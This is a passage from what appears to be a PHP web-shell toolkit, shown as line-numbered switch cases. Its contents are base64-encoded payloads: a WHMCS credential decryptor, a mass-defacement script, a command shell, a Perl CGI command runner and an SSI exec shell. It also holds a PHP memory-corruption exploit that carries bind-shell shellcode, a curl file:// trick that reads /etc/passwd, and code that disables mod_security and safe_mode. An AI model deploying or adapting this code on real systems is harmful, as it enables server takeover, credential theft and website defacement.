kdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsNCiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOw0KJHR5cGUgPSAkdlsndHlwZSddOw0KJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsNCiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOw0KDQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkFjdGl2ZTwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsNCg0KDQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCg0KfQ0KDQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQoNCg0KDQoNCg0KfQ0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCg0KDQoNCj8+PGJvZHkgYmdjb2xvcj0iIzAwMDAwMCI+DQogPHN0eWxlPg0KDQpCT0RZIHsgU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMxOTE5MTk7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogb2xpdmU7ICAgY29sb3I6IHdoaXRlO30NCnRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6IzE5MTkxOTtjb2xvcjpyZWQ7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LXNpemU6IDEycHg7Zm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2Njt9DQppbnB1dHtGT05ULVdFSUdIVDpub3JtYWw7YmFja2dyb3VuZC1jb2xvcjogIzE5MTkxOTtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjogcmVkOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O2hlaWdodDoxN30NCjwvc3R5bGU+DQo8Y2VudGVyPg0KPGZvbnQgY29sb3I9IiNGRkZGNkZGIiBzaXplPScrMyc+WyB+fiBXSE1DUyBTZXJ2ZXIgUGFzc3dvcmQgZGVjb2RlciB+fiBdPC9mb250Pjxicj48YnI+DQo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPlN5bWxpbmsgdG8gY29uZmlndXJhdGlvbi5waHAgb2YgV0hNQ1M8L2ZvbnQ+PGJyPg0KPC9jZW50ZXI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPg0KPGJyPg0KIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZmlsZSIgdmFsdWU9IiI+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCg0KPGJyPg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSIjMDA2NkZGIiBzaXplPScrMic+REIgY29uZmlndXJhdGlvbiBvZiBXSE1DUzwvZm9udD48YnI+DQo8L2NlbnRlcj4NCjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMiI+DQo8YnI+DQo8dGFibGUgYm9yZGVyPTE+DQoNCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfdXNlcm5hbWUgPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl91c2VybmFtZSIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfcGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PHRkPjwvdHI+DQo8dHI+PHRkPmNjX2VuY3J5cHRpb25faGFzaDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iY2NfZW5jcnlwdGlvbl9oYXNoIiB2YWx1ZT0iIj48L3RkPjwvdHI+DQoNCjwvdGFibGU+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCjxjZW50ZXI+DQo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPlBhc3N3b3JkIGRlY29kZXI8L2ZvbnQ+PGJyPg0KPD8NCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApDQogew0KDQoNCg0KICRwYXNzd29yZD0oJF9QT1NUWydwYXNzd29yZCddKTsNCg0KICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOw0KDQoNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCRwYXNzd29yZCwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQoNCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsNCg0KfQ0KPz4NCjwvY2VudGVyPg0KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4NCjxicj4NCjx0YWJsZSBib3JkZXI9MT4NCg0KPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KDQoNCiAgPGNlbnRlcj4gPGZvbnQgY29sb3I9IiNGRkZGNkZGIiBzaXplPScrMSc+ICAgQ29kZWQgQnkgUkFCM09VTiB2LmItNEBob3RtYWlsLmNvbSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4=
6635
6636"));
6637
6638break;
6639
6640case "PHP_24":
6641
6642 $code=stripslashes($_POST['code']);
6643
6644 echo '<center><br><h3> PHP Code Evaluating </h3></center>
6645
6646 <center>
6647
6648 <form method="POST" action="">
6649
6650 <input type="hidden" name="id" value="eval">
6651
6652 <textarea name ="code" rows="10" cols="85" class="textarea">',$code,'mkDIR("file:");
6653
6654chdir("file:");
6655
6656mkDIR("etc");
6657
6658chdir("etc");
6659
6660mkDIR("passwd");
6661
6662chdir("..");
6663
6664chdir("..");
6665
6666
6667
6668$ch = curl_init();
6669
6670
6671
6672curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");
6673
6674curl_setopt($ch, CURLOPT_HEADER, 0);
6675
6676
6677
6678curl_exec($ch);
6679
6680
6681
6682curl_close($ch);</textarea><br><br>
6683
6684 <input type="submit" value=" Evaluate PHP Code" class="button"><hr>
6685
6686 </form>
6687
6688 <textarea rows="10" cols="85" class="textarea">';
6689
6690 eval($code);
6691
6692 echo '</textarea><br><br>';
6693
6694break;
6695
6696case "PHP_25":
6697
6698 $shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89".
6699
6700
6701
6702 "\xe1\xcd\x80\x52\x43\x68\xff\x02".
6703
6704
6705
6706 "\x22\xb8". //port (8888)
6707
6708
6709
6710 "\x89\xe1".
6711
6712
6713
6714 "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
6715
6716
6717
6718 "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
6719
6720
6721
6722 "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
6723
6724
6725
6726 "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
6727
6728
6729
6730 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
6731
6732
6733
6734
6735
6736
6737
6738 $________________________str = str_repeat("A", 39);
6739
6740
6741
6742 $________________________yyy = &$________________________str;
6743
6744
6745
6746 $________________________xxx = &$________________________str;
6747
6748
6749
6750 for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
6751
6752
6753
6754 $________________________aaa = " XXXXX ";
6755
6756
6757
6758 $________________________aab = " XXXx.xXXX ";
6759
6760
6761
6762 $________________________aac = " XXXx.xXXX ";
6763
6764
6765
6766 $________________________aad = " XXXXX ";
6767
6768
6769
6770 unset($________________________xxx);
6771
6772
6773
6774 unset($________________________aaa);
6775
6776
6777
6778 unset($________________________aab);
6779
6780
6781
6782 unset($________________________aac);
6783
6784
6785
6786 unset($________________________aad);
6787
6788
6789
6790 $arr = array($shellcode => 1);
6791
6792
6793
6794
6795
6796
6797
6798 $addr = unpack("L", substr($________________________str, 6*4, 4));
6799
6800
6801
6802 $addr = $addr[1] + 32;
6803
6804
6805
6806 $addr = pack("L", $addr);
6807
6808
6809
6810
6811
6812
6813
6814 for ($i=0; $i<strlen($addr); $i++) {
6815
6816
6817
6818 $________________________str[8*4+$i] = $addr[$i];
6819
6820
6821
6822 $________________________yyy[8*4+$i] = $addr[$i];
6823
6824
6825
6826 }
6827
6828
6829
6830 unset($arr);
6831
6832break;
6833
6834case "PHP_26":
6835
6836
6837
6838$crackftp = 'PGh0bWw+DQo8aGVhZD4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQo8IS0tDQpib2R5IHsgY29sb3I6IzAwMDsNCn0NCmJvZHkgKnsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBmb250LWZhbWlseTpDZW50dXJ5IEdvdGhpYywgQ29taWMgU2FucyBNUzt9DQphCXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IGNvbG9yOiMzMzY2OTk7IH0NCmE6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KYm9keSwgdGR7ICBtYXJnaW46IDA7ICBwYWRkaW5nOiAwOyAgZm9udC1zaXplOiBub3JtYWw7fQ0KYnsgZm9udC13ZWlnaHQ6Ym9sZDsgfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0IHsNCgljb2xvcjojMzM2Njk5Ow0KCWJhY2tncm91bmQtY29sb3I6I2ZmZjsNCglmb250LWZhbWlseTpDZW50dXJ5IEdvdGhpYywgQXJpYWw7DQogICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQoJYm9yZGVyOjFweCBzb2xpZCAjMzMzOw0KCW1hcmdpbjoycHg7DQoJYm9yZGVyLXJhZGl1czogNnB4Ow0KCS13ZWJraXQtYm9yZGVyLXJhZGl1czogNnB4Ow0KCS1tb3otYm9yZGVyLXJhZGl1czogNnB4Ow0KfQ0KaW5wdXQuc3VibWl0LGlucHV0W3R5cGU9c3VibWl0XQ0Kew0KbWFyZ2luOjJweDsNCmJhY2tncm91bmQtY29sb3I6IzZkODRiNDsNCmJvcmRlcjoxcHggc29saWQgIzAwMDAwMDsNCmZvbnQtd2VpZ2h0OmJvbGQ7DQpjb2xvcjojZmZmZmZmDQp9DQouSGVhZGVyIHsgDQpiYWNrZ3JvdW5kOiAjMzM2Njk5OyANCnRleHQtYWxpZ246Y2VudGVyOyANCnBhZGRpbmc6MnB4OyBjb2xvcjogDQojZmZmOyBmb250LXdlaWdodDpib2xkOw0KfQ0KLmZvb3RlcntiYWNrZ3JvdW5kOiNEREU3RjE7IGZvbnQtd2VpZ2h0OmJvbGQ7IGJvcmRlci10b3A6MXB4IHNvbGlkICNhYmM7IHBhZGRpbmc6NXB4OyBmb250LXdlaWdodDpib2xkOyB0ZXh0LWFsaWduOmNlbnRlcjsgIH0NCi0tPg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGJyLz4NCjxiPg0KPGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8PyRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD1wb3N0Pg0KRm9sZGVyIDo8YnIvPg0KPGlucHV0IHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8Pz1nZXRjd2QoKTs/PiI+PGJyPg0KRmlsZSBOYW1lIDo8YnIvPg0KPGlucHV0IHR5cD10ZXh0IG5hbWU9ZmlsZSBzaXplPTYwIHZhbHVlPSJpbmRleC5odG1sIj48YnI+DQpEZWZhY2UgUGFnZSBVUkwgOiA8c21hbGw+KGV4OiBodHRwOi8vc2l0ZS5jb20vYWxtYXhoYWNrZXJpbmRleC50eHQpPC9zbWFsbD48YnIvPg0KPGlucHV0IHR5cD10ZXh0IG5hbWU9dXJsIHNpemU9NjAgdmFsdWU9Imh0dHA6Ly9zaXRlLmNvbS9hbG1heGhhY2tlcmluZGV4LnR4dCI+PGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPURlZmFjZT4NCjwvZm9ybT4NCjw/cGhwDQokbWFpbnBhdGg9JF9QT1NUW3BhdGhdOw0KJGZpbGU9JF9QT1NUW2ZpbGVdOw0KJGluZGV4dXJsPSRfUE9TVFt1cmxdOw0KZWNobyAiPGJyPiI7DQokZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOw0Kd2hpbGUoJHJvdz1yZWFkZGlyKCRkaXIpKQ0Kew0KJHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7DQokY29kZT1AZmlsZV9nZXRfY29udGVudHMoJGluZGV4dXJsKTsNCiRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGNvZGUpOw0KaWYgKCRmaW5pc2gpDQp7DQplY2hvICImIzE4NzsgJHJvdy8kZmlsZSAgJiMxODc7IERvbmU8YnI+PGJyPiI7DQp9DQp9DQo/Pg0KPC9ib2R5Pg0KPC9odG1sPg==';
6839
6840
6841
6842$file = fopen("masss.php" ,"w+");
6843
6844$write = fwrite ($file ,base64_decode($crackftp));
6845
6846fclose($file);
6847
6848
6849
6850 echo "<iframe src=ftpcrack.php width=100% height=100% frameborder=0></iframe> ";
6851
6852break;
6853
6854case "PHP_27":
6855
6856 mkdir('safeof', 0755);
6857
6858 chdir('safeof');
6859
6860$kokdosya = ".htaccess";
6861
6862
6863
6864$dosya_adi = "$kokdosya";
6865
6866$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
6867
6868$metin = "<IfModule mod_security.c>
6869
6870 SecFilterEngine Off
6871
6872 SecFilterScanPOST Off
6873
6874</IfModule>";
6875
6876fwrite ( $dosya , $metin ) ;
6877
6878fclose ($dosya);
6879
6880
6881
6882$kokdosya = "php.ini";
6883
6884
6885
6886$dosya_adi = "$kokdosya";
6887
6888$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
6889
6890$metin = "safe_mode = OFF
6891
6892disable_functions = NONE";
6893
6894fwrite ( $dosya , $metin ) ;
6895
6896fclose ($dosya);
6897
6898$mini = 'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdp
6899
6900bj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49
6901
6902MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JE
6903
6904RVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MCBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9y
6905
6906RGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBi
6907
6908b3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0
6909
6910cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMiIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMw
6911
6912IiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwMzNGRiI+
6913
6914DQo8P3BocA0KZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIFNoZWxsPC9mb250Pjwv
6915
6916Yj48YnI+IjsNCnByaW50X3IoJw0KPHByZT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIi
6917
6918Pg0KPGI+PGZvbnQgY29sb3I9Ymx1ZT5Lb211dCA6PC9mb250PjwvYj48aW5wdXQgbmFtZT0iYmFi
6919
6920YSIgdHlwZT0idGV4dCI+PGlucHV0IHZhbHVlPSJCYXMga29tdXR1IGRheWkiIHR5cGU9InN1Ym1p
6921
6922dCI+DQo8L2Zvcm0+DQo8L3ByZT4NCicpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5p
6923
6924X3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJGxpejA9c2hlbGxfZXhlYygkX1BPU1RbYmFiYV0p
6925
6926OyANCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgDQokdWlkPXNoZWxsX2V4ZWMo
6927
6928J2lkJyk7DQokc2VydmVyPXNoZWxsX2V4ZWMoJ3VuYW1lIC1hJyk7DQplY2hvICI8cHJlPjxoND4i
6929
6930Ow0KZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPmlkIDo8L2ZvbnQ+PC9iPjokdWlkPGJyPiI7DQpl
6931
6932Y2hvICI8Yj48Zm9udCBjb2xvcj1yZWQ+U2VydmVyPC9mb250PjwvYj46JHNlcnZlcjxicj4iOw0K
6933
6934ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPktvbXV0IFNvbnXnbGFyMTo8L2ZvbnQ+PC9iPjxicj4i
6935
6936OyANCmVjaG8gJGxpejA7DQplY2hvICRsaXowemltOw0KZWNobyAiPC9oND48L3ByZT4iOw0KPz4=
6937
6938';
6939
6940
6941
6942$file = fopen("safe.php" ,"w+");
6943
6944$write = fwrite ($file ,base64_decode($mini));
6945
6946fclose($file);
6947
6948 echo "<iframe src=safeof/safe.php width=100% height=100% frameborder=0></iframe> ";
6949
6950break;
6951
6952case "PHP_28":
6953
6954 mkdir('cgirun', 0755);
6955
6956 chdir('cgirun');
6957
6958 $kokdosya = ".htaccess";
6959
6960 $dosya_adi = "$kokdosya";
6961
6962 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
6963
6964 $metin = "AddHandler cgi-script .pr";
6965
6966 fwrite ( $dosya , $metin ) ;
6967
6968 fclose ($dosya);
6969
6970$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIw0KIyBQZXJsS2l0LTAuMSAt
6971
6972IFtEb2FyIHVzZXJpaSBpbnJlZ2lzdHJhdGkgcG90IHZlZGVhIGxpbmt1cmlsZS4gXQ0KIw0KIyBj
6973
6974bWQucGw6IFJ1biBjb21tYW5kcyBvbiBhIHdlYnNlcnZlcg0KDQp1c2Ugc3RyaWN0Ow0KDQpteSAo
6975
6976JGNtZCwgJUZPUk0pOw0KDQokfD0xOw0KDQpwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxc
6977
6978clxuIjsNCnByaW50ICJcclxuIjsNCg0KIyBHZXQgcGFyYW1ldGVycw0KDQolRk9STSA9IHBhcnNl
6979
6980X3BhcmFtZXRlcnMoJEVOVnsnUVVFUllfU1RSSU5HJ30pOw0KDQppZihkZWZpbmVkICRGT1JNeydj
6981
6982bWQnfSkgew0KICAkY21kID0gJEZPUk17J2NtZCd9Ow0KfQ0KDQpwcmludCAnPEhUTUw+DQo8Ym9k
6983
6984eT4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFt
6985
6986ZT0iY21kIiBzaXplPTQ1IHZhbHVlPSInIC4gJGNtZCAuICciPg0KPGlucHV0IHR5cGU9InN1Ym1p
6987
6988dCIgdmFsdWU9IlJ1biI+DQo8L2Zvcm0+DQo8cHJlPic7DQoNCmlmKGRlZmluZWQgJEZPUk17J2Nt
6989
6990ZCd9KSB7DQogIHByaW50ICJSZXN1bHRzIG9mICckY21kJyBleGVjdXRpb246XG5cbiI7DQogIHBy
6991
6992aW50ICItIng4MDsNCiAgcHJpbnQgIlxuIjsNCg0KICBvcGVuKENNRCwgIigkY21kKSAyPiYxIHwi
6993
6994KSB8fCBwcmludCAiQ291bGQgbm90IGV4ZWN1dGUgY29tbWFuZCI7DQoNCiAgd2hpbGUoPENNRD4p
6995
6996IHsNCiAgICBwcmludDsNCiAgfQ0KDQogIGNsb3NlKENNRCk7DQogIHByaW50ICItIng4MDsNCiAg
6997
6998cHJpbnQgIlxuIjsNCn0NCg0KcHJpbnQgIjwvcHJlPiI7DQoNCnN1YiBwYXJzZV9wYXJhbWV0ZXJz
6999
7000ICgkKSB7DQogIG15ICVyZXQ7DQoNCiAgbXkgJGlucHV0ID0gc2hpZnQ7DQoNCiAgZm9yZWFjaCBt
7001
7002eSAkcGFpciAoc3BsaXQoJyYnLCAkaW5wdXQpKSB7DQogICAgbXkgKCR2YXIsICR2YWx1ZSkgPSBz
7003
7004cGxpdCgnPScsICRwYWlyLCAyKTsNCiAgICANCiAgICBpZigkdmFyKSB7DQogICAgICAkdmFsdWUg
7005
7006PX4gcy9cKy8gL2cgOw0KICAgICAgJHZhbHVlID1+IHMvJSguLikvcGFjaygnYycsaGV4KCQxKSkv
7007
7008ZWc7DQoNCiAgICAgICRyZXR7JHZhcn0gPSAkdmFsdWU7DQogICAgfQ0KICB9DQoNCiAgcmV0dXJu
7009
7010ICVyZXQ7DQp9';
7011
7012
7013
7014$file = fopen("cgi.pr" ,"w+");
7015
7016$write = fwrite ($file ,base64_decode($cgico));
7017
7018fclose($file);
7019
7020 chmod("cgi.pr",0755);
7021
7022 echo "<iframe src=cgirun/cgi.pr width=100% height=100% frameborder=0></iframe> ";
7023
7024break;
7025
7026case "PHP_29":
7027
7028 mkdir('ssim', 0755);
7029
7030 chdir('ssim');
7031
7032 $kokdosya = ".htaccess";
7033
7034 $dosya_adi = "$kokdosya";
7035
7036 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
7037
7038 $metin = "AddType text/html .shtml
7039
7040AddHandler server-parsed .shtml
7041
7042AddOutputFilter INCLUDES .shtml
7043
7044Options +Includes";
7045
7046 fwrite ( $dosya , $metin ) ;
7047
7048 fclose ($dosya);
7049
7050$ssiizo2023 = 'PCEtLSNpZiBleHByPSIkSFRUUF9IQ01EIi0tPjwhLS0jZXhlYyBjbWQ9ImNkICRIVFRQX0hQV0Q7
7051
7052ICRIVFRQX0hDTUQgMj4mMSItLT48IS0tI2Vsc2UtLT48aHRtbD48aGVhZD48dGl0bGU+UC5TLlMu
7053
7054PC90aXRsZT48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmh0bWwsYm9keSwjanNvbix4bXAsZm9ybSx0
7055
7056YWJsZSx0YWJsZSB0ZCxpbnB1dHttYXJnaW46MDtwYWRkaW5nOjA7fWh0bWx7YmFja2dyb3VuZDoj
7057
7058MDAwMDAwO30uZXJye3BhZGRpbmc6OHB4O3RleHQtYWxpZ246Y2VudGVyO2JvcmRlcjoxcHggc29s
7059
7060aWQgcmVkO2JhY2tncm91bmQ6I2ZmZmZmZjt9I2pzb2Zme21hcmdpbjo1cHggOHB4O30janNvbntk
7061
7062aXNwbGF5Om5vbmU7IHBhZGRpbmc6NXB4IDhweDt9eG1wLHRhYmxlLGlucHV0e2ZvbnQ6bm9ybWFs
7063
7064IDlwdCAiQ291cmllciBOZXciO2NvbG9yOiNmMGYwZjA7Ym9yZGVyOm5vbmU7fXRhYmxle3dpZHRo
7065
7066OjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30udGRuYnJ7d2hpdGUtc3BhY2U6cHJlO31p
7067
7068bnB1dHtvdXRsaW5lOm5vbmU7IGJhY2tncm91bmQ6IzAwMDAwMDt9aW5wdXQ6Oi1tb3otZm9jdXMt
7069
7070aW5uZXJ7Ym9yZGVyOm5vbmU7fTwvc3R5bGU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQi
7071
7072PnZhciByZXosY21kLGhpc3QsdXNyLHNydixwd2Qsc3VzcixzcHdkO2Z1bmN0aW9uIHRyaW0oc3Ry
7073
7074KXtyZXR1cm4gc3RyLnJlcGxhY2UoLyheXHMrKXwoXHMrJCkvZywgIiIpO31mdW5jdGlvbiBpbml0
7075
7076KCl7cmV6PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZXonKTtjbWQ9ZG9jdW1lbnQuZ2V0RWxl
7077
7078bWVudEJ5SWQoJ2NtZCcpO2hpc3Q9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hpc3QnKTtzdXNy
7079
7080PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdXNyJyk7c3B3ZD1kb2N1bWVudC5nZXRFbGVtZW50
7081
7082QnlJZCgnc3B3ZCcpO3Vzcj10cmltKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c3InKS52YWx1
7083
7084ZSk7c3J2PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzc3J2JykuaW5uZXJIVE1MO3B3ZD10cmlt
7085
7086KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwd2QnKS52YWx1ZSk7ZG9jdW1lbnQuZ2V0RWxlbWVu
7087
7088dEJ5SWQoJ2pzb2ZmJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
7089
